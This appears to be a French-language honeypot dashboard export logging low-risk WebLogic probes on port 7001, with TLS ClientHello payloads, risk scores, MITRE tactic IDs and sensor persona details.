"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 96
}
24/07/2026 09:39:03 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�������æ��� ]��A�����_q�� ;��]7 �{�O�t~֦����)}67�dJS� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�������æ��� ]��A�����_q�� ;��]7 �{�O�t~֦����)}67�dJS� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�������æ��� ]��A�����_q�� ;��]7 �{�O�t~֦����)}67�dJS� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9672186531199554,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "a8d7e134cd5dfa8e4402faa3e0544ac0",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u001b\ufffd\ufffd\ufffd\ufffd\ufffd\u001a\ufffd\u00e6\ufffd\ufffd\ufffd\u001e\u001b]\u0019\ufffd\ufffdA\ufffd\ufffd\ufffd\u0013\ufffd\u0006\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd\u000e{\ufffdO\ufffdt\u0015\u001a~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffd\u0004dJS\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u001b\ufffd\ufffd\ufffd\ufffd\ufffd\u001a\ufffd\u00e6\ufffd\ufffd\ufffd\u001e\u001b]\u0019\ufffd\ufffdA\ufffd\ufffd\ufffd\u0013\ufffd\u0006\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd\u000e{\ufffdO\ufffdt\u0015\u001a~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffd\u0004dJS\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u001b\ufffd\ufffd\ufffd\ufffd\ufffd\u001a\ufffd\u00e6\ufffd\ufffd\ufffd\u001e\u001b]\u0019\ufffd\ufffdA\ufffd\ufffd\ufffd\u0013\ufffd\u0006\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd\u000e{\ufffdO\ufffdt\u0015\u001a~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffd\u0004dJS\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "27e54017efd63f1f4d0d9a318cf81d23c62b0668",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u001b\ufffd\ufffd\ufffd\ufffd\ufffd\u001a\ufffd\u00e6\ufffd\ufffd\ufffd\u001e\u001b]\u0019\ufffd\ufffdA\ufffd\ufffd\ufffd\u0013\ufffd\u0006\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd\u000e{\ufffdO\ufffdt\u0015\u001a~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffd\u0004dJS\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u00e6\ufffd\ufffd\ufffd]\ufffd\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd{\ufffdO\ufffdt~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffddJS\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u001b\ufffd\ufffd\ufffd\ufffd\ufffd\u001a\ufffd\u00e6\ufffd\ufffd\ufffd\u001e\u001b]\u0019\ufffd\ufffdA\ufffd\ufffd\ufffd\u0013\ufffd\u0006\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd\u000e{\ufffdO\ufffdt\u0015\u001a~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffd\u0004dJS\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u00e6\ufffd\ufffd\ufffd]\ufffd\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd_q\ufffd\ufffd ;\ufffd\ufffd]7 \ufffd{\ufffdO\ufffdt~\u05a6\ufffd\ufffd\ufffd\ufffd)}67\ufffddJS\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:02 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
���� !I��\�����z��~>���'���� g�#���-���Wƛ6g��/��q�i�Y�e&m >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
���� !I��\�����z��~>���'���� g�#���-���Wƛ6g��/��q�i�Y�e&m >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
���� !I��\�����z��~>���'���� g�#���-���Wƛ6g��/��q�i�Y�e&m >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9617797545173885,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "4589b130b4731334f444e1fafa09d75c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\t!I\ufffd\u0001\ufffd\\\ufffd\ufffd\ufffd\ufffd\u001b\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd\u0001#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\u001a\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m \u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\t!I\ufffd\u0001\ufffd\\\ufffd\ufffd\ufffd\ufffd\u001b\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd\u0001#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\u001a\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m \u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\t!I\ufffd\u0001\ufffd\\\ufffd\ufffd\ufffd\ufffd\u001b\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd\u0001#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\u001a\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m \u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "39e6736bfa7cf7fc60b80fb43f110524ff7dde86",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\t!I\ufffd\u0001\ufffd\\\ufffd\ufffd\ufffd\ufffd\u001b\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd\u0001#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\u001a\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m \u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\t!I\ufffd\ufffd\\\ufffd\ufffd\ufffd\ufffd\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m >\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\t!I\ufffd\u0001\ufffd\\\ufffd\ufffd\ufffd\ufffd\u001b\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd\u0001#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\u001a\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m \u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\t!I\ufffd\ufffd\\\ufffd\ufffd\ufffd\ufffd\ufffdz\ufffd\ufffd~>\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffd g\ufffd#\ufffd\ufffd\ufffd-\ufffd\ufffd\ufffdW\u019b6g\ufffd\ufffd\/\ufffd\ufffdq\ufffdi\ufffdY\ufffde&m >\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:59 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
